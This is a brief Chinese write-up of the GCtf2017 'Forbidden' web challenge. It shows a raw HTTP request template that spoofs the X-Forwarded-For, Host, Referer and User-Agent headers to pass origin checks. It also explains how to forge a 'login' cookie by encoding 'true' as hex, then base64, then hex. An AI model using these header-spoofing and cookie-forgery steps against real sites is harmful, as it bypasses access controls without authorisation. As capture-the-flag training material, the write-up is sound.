GCtf2017---Forbidden(山路十八弯各种要求报文格式+加解密)

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注释提示要本机访问,各种改头部没用,后来发现改成localhost才行,也是醉了,然后后续每次修改都会有个提示,改Host啊,改Referer,改UA什么的,一步一步来就能得到最后flag。参考师兄




GET / HTTP/1.1Host: www.topsec.com:80X-Forwarded-For:localhostx-requested-with: XMLHttpRequestProxy-Connection: keep-alivePragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64;compatible; MSIE 4.0) .NET CLR 8.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8DNT: 1Cookie: login=4e7a51334d6a63314e6a553dReferer: http://www.baidu.comAccept-Encoding: gzip, deflateAccept-Language: de-DE,de;q=0.8

提示不要直接粘贴到bp,必须要一步步来,上面是当作模版。

将login进行解密:hex->base64->hex为false

用同样的加密方法加密true,密文:4e7a51334d6a63314e6a553d




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